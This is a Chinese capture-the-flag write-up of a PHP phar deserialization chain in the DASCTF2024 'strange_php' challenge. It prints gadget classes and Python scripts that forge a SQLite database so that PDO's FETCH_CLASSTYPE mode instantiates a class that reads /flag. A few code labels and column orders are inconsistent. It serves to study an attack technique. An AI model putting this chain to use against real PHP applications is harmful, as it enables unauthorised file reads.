CTF-web: phar反序列化+数据库伪造 [DASCTF2024最后一战 strange_php]

step 1 如何触发反序列化?

漏洞入口在

welcome.php

php 复制代码
case 'delete':  
    // 获取删除留言的路径,优先使用 POST 请求中的路径,否则使用会话中的路径  
    $message = $_POST['message_path'] ? $_POST['message_path'] : $_SESSION['message_path'];  
    $msg = $userMessage->deleteMessage($message); // 删除留言  
  
    if ($msg) {  
        echo "留言已成功删除"; // 输出成功删除信息  
    } else {  
        echo "操作失败,请重新尝试"; // 输出失败信息  
    }  
    break;

此处message_path可控,进一步跟进

UserMessage.php

php 复制代码
public function deleteMessage($path) {  
    $path = $path . ".txt"; // 添加文件扩展名  
    if (file_exists($path)) {  
        $result = unlink($path);  
        if ($result === false) {  
            return false;  
        }  
        return true;  
    }  
    return false;  
}

$path可控,同时unlink可触发phar反序列化

step 2 如何创造一个可控文件?

php 复制代码
public function writeMessage($message) {  
    $result = file_put_contents($this->filePath, $message);  
    if ($result === false) {  
        return false;  
    }  
    return true;  
}

step 3 如何利用反序列化读取flag?

php 复制代码
<?php  
  
class UserMessage {  
    private $filePath;  

    ........
    
    // 魔术方法 __set,用于设置私有属性并记录日志  
    public function __set($name, $value) {  
        $this->$name = $value;  
        $logContent = file_get_contents($this->filePath) . "</br>";  
        file_put_contents("/var/www/html/log/" . md5($this->filePath) . ".txt", $logContent);  
    }  
    
	.......
?>

魔术方法__set()在设置未定义或不可访问的属性时自动调用。用于控制对属性的设置。

php 复制代码
class MyClass {
    private $data = [];

    public function __set($name, $value) {
        $this->data[$name] = $value;
    }
}

$obj = new MyClass();
$obj->name = 'John';
echo $obj->name; // __get() 被调用,输出: John

step 4 如何触发__set()?

题目使用PDO链接数据库

PDO_connect.php

php 复制代码
<?php  
  
class PDO_connect {  
  
    private $pdo; // 用于保存 PDO 实例  
    public $con_options = []; // 用于设置 PDO 连接的选项  
    public $smt; // 用于保存 PDOStatement 实例  
  
    public function __construct() {  
        // 构造函数,初始化对象时调用  
    }  
  
    // 初始化连接选项  
    public function init() {  
    
        $this->con_options = array(  
            "dsn" => "mysql:host=localhost:3306;dbname=users;charset=utf8", // 数据源名称  
            'host' => '127.0.0.1', // 数据库主机地址  
            'port' => '3306', // 数据库端口  
            'user' => 'joker', // 数据库用户名  
            'password' => 'joker', // 数据库密码  
            'charset' => 'utf8', // 字符集  
            'options' => array(  
                PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC, // 设置默认获取模式为关联数组  
                PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION // 设置错误处理模式为抛出异常  
            )  
        );  
    }  
  
    // 获取数据库连接  
    public function get_connection() {  
        $this->conn = null; // 初始化连接为 null        try {  
            // 创建 PDO 实例  
            $this->conn = new PDO($this->con_options['dsn'], $this->con_options['user'], $this->con_options['password']);  
  
            // 设置错误处理模式  
            if ($this->con_options['options'][PDO::ATTR_ERRMODE]) {  
                $this->conn->setAttribute(PDO::ATTR_ERRMODE, $this->con_options['options'][PDO::ATTR_ERRMODE]);  
            }  
  
            // 设置默认获取模式  
            if (isset($this->con_options['options'][PDO::ATTR_DEFAULT_FETCH_MODE])) {  
                $this->conn->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, $this->con_options['options'][PDO::ATTR_DEFAULT_FETCH_MODE]);  
            }  
  
        } catch (PDOException $e) {  
            // 捕获异常并输出错误信息  
            echo 'Connection Error: ' . $e->getMessage();  
        }  
        return $this->conn; // 返回 PDO 连接实例  
    }  
}  
?>

在PHP的PDO(PHP Data Objects)中,PDO::ATTR_DEFAULT_FETCH_MODE 是一个属性,用于设置默认的获取模式(fetch mode)。这决定了当你从数据库中获取数据时,PDO如何返回结果。

PDO::FETCH_CLASSPDO::FETCH_CLASSTYPE 是两种不同的获取模式:

  1. PDO::FETCH_CLASS:此模式会将每一行结果映射到一个指定的类的实例中。忽略结果集中的字段名称,如果字段名与类中的属性名匹配,则自动赋值。

  2. PDO::FETCH_CLASSTYPE :当与 PDO::FETCH_CLASS 结合使用时,这个模式允许根据结果集中指定的一列动态决定要实例化的类。这意味着你可以根据数据库中的某个字段的值来决定使用哪个类来创建对象。

通过将 PDO::FETCH_CLASSPDO::FETCH_CLASSTYPE 使用按位或运算符 | 结合,可以实现根据数据库中的某个字段动态实例化不同的类。

PDO::FETCH_CLASS | PDO::FETCH_CLASSTYPE:这个组合的获取模式意味着 PDO 会根据结果集第一列的值作为要实例化的类名,并将查询结果的其余列映射到类的属性中。

php 复制代码
class Admin {
    public $id;
    public $username;
    public $password;

    public function __construct($id, $username, $password) {
        $this->id = $id;
        $this->username = $username;
        $this->password = $password;
    }
}

class Member {
    public $id;
    public $username;
    public $password;

    public function __construct($id, $username, $password) {
        $this->id = $id;
        $this->username = $username;
        $this->password = $password;
    }
}

$dsn = 'sqlite:/path/to/your/database/file.db';
$username = 'root';
$password = 'root';
$options = [PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_CLASS | PDO::FETCH_CLASSTYPE];

$pdo = new PDO($dsn, $username, $password);
$pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_CLASS | PDO::FETCH_CLASSTYPE);

$query = "SELECT class_name, id, username, password FROM users";
$statement = $pdo->query($query);

while ($user = $statement->fetch()) {
    echo get_class($user) . "\n"; // 打印当前行映射的类名
    echo $user->id . "\n";
    echo $user->username . "\n";
    echo $user->password . "\n";
}

在这个例子中,PDO 会根据 class_name 列的值来决定实例化 AdminMember 类。其他列 (id, username, password) 将被传递给相应类的构造函数。


我们可以伪造一个虚假的数据库文件写入.txt并通过反序列化方式伪造PDO所需要的数组,那么在查询时就会返回我们伪造的结果

从这里可以得知目录路径

php 复制代码
public function __set($name, $value) {  
    $this->$name = $value;  
    $logContent = file_get_contents($this->filePath) . "</br>";  
    file_put_contents("/var/www/html/log/" . md5($this->filePath) . ".txt", $logContent);  
}

可以写出

php 复制代码
class PDO_connect{  
    private $pdo;  
    public $con_options = []; 
    public $smt;  
    public function __construct(){  
  
        $this->con_options =  
            [   "dsn"=>'sqlite:/var/www/html/xxx.txt',  
                "username"=>"root",  
                "password"=>"root",  
                "options"=>[  
                    PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_CLASS|PDO::FETCH_CLASSTYPE  
                ]  
            ];  
    }  
}

step 5 如何触发PDO_connect?

利用User.__destruct

User.php

php 复制代码
public function __destruct() {  
    if ($this->username) {  
        $results = $this->log();  
        $log_mess = serialize($results);  
  
        // 记录日志到文件  
        file_put_contents("log/" . md5($this->username) . ".txt", $log_mess . "\n", FILE_APPEND);  
    }  
}

->log即可触发查询,当查询键为UserMessage会返回伪造的值

php 复制代码
public function log() {  
    try {  
        $sql = "SELECT * FROM users WHERE username = :username";  
        $pdo = $this->conn->get_connection();  
        $stmt = $pdo->prepare($sql);  
  
        $stmt->bindParam(':username', $this->username);  
        $stmt->execute();  
        $result = $stmt->fetch();  
        return $result;  
    } catch (PDOException $e) {  
        echo $e->getMessage();  
    }  
}

所以写出

php 复制代码
class PDO_connect{  
    private $pdo;  
    public $con_options = [];
    public $smt;  
    public function __construct(){  
        $this->con_options = [  
            "dsn"=>'sqlite:./fake_db.sqlite',  
            "username"=>"root",  
            "password"=>"root",  
            "options"=>[  
                PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_CLASS|PDO::FETCH_CLASSTYPE  
            ]  
        ];  
    }  
}  
class User{  
    private $conn;  
    private $table = 'users';  
  
    public $id;  
    public $username;  
  
    public $password;  
  
    public function __construct(){  
  
        $this->conn = new PDO_connect();  
        $this->username = "UserMessage";  
  
    }  
}

尝试

python 复制代码
import sqlite3  
  
conn = sqlite3.connect('fake_db.sqlite')  
cursor = conn.cursor()  
cursor.execute('''
CREATE TABLE IF NOT EXISTS users (

    username TEXT NOT NULL,
    filePath TEXT NOT NULL,
    set_name TEXT NOT NULL,

id INTEGER PRIMARY KEY AUTOINCREMENT)
''')  
users = [  
    ('UserMessage', 'filePath_value', 'set_value'),  
]  
cursor.executemany(''' INSERT INTO users (username, filePath, set_name) VALUES (?,?,?)  ''', users)  
  
conn.commit()  
  
cursor.execute('SELECT * FROM users')  
  
conn.close()
php 复制代码
import sqlite3  
  
conn = sqlite3.connect('fake.db')  
cursor = conn.cursor()  
cursor.execute('''  
CREATE TABLE IF NOT EXISTS users (  
  
    username TEXT NOT NULL,
    filePath TEXT NOT NULL,
    password TEXT NOT NULL,
    
id INTEGER PRIMARY KEY AUTOINCREMENT)  
''')  
users = [  
    ('UserMessage', '/flag', '/flag'),  
]  
cursor.executemany('''  
INSERT INTO users (username, password,filePath) VALUES (?,?,?)  
''', users)  
  
conn.commit()  
  
cursor.execute('SELECT * FROM users')  
  
conn.close()

即可控制变量值触发/flag读取

相关推荐
A5rZ1 天前
CTF-web: Python YAML反序列化利用
网络安全
doubt。1 天前
[b01lers2020]Life on Mars1
网络·数据库·sql·安全·web安全·网络安全
仇辉攻防1 天前
【云安全】云原生-K8S-搭建/安装/部署
web安全·网络安全·docker·云原生·容器·kubernetes·k8s
SRC_BLUE_171 天前
[内网安全] 内网渗透 - 学习手册
学习·安全·网络安全
仇辉攻防2 天前
【云安全】云原生-K8S-简介
web安全·网络安全·docker·云原生·容器·kubernetes·k8s
Dest1ny-安全2 天前
Dest1ny漏洞库:用友 U8 Cloud ReleaseRepMngAction SQL 注入漏洞(CNVD-2024-33023)
开发语言·网络·sql·安全·web安全·网络安全
浩浩测试一下2 天前
渗透测试-WAF是什么以及原理解释 waf功能详解
安全·web安全·网络安全·可信计算技术·安全架构
qq_243050792 天前
swaks:瑞士军刀 SMTP,通用 SMTP 传输测试器!全参数详解!Kali Linux教程!黑客入门教程!
linux·web安全·网络安全·黑客·渗透测试·信息收集·kali linux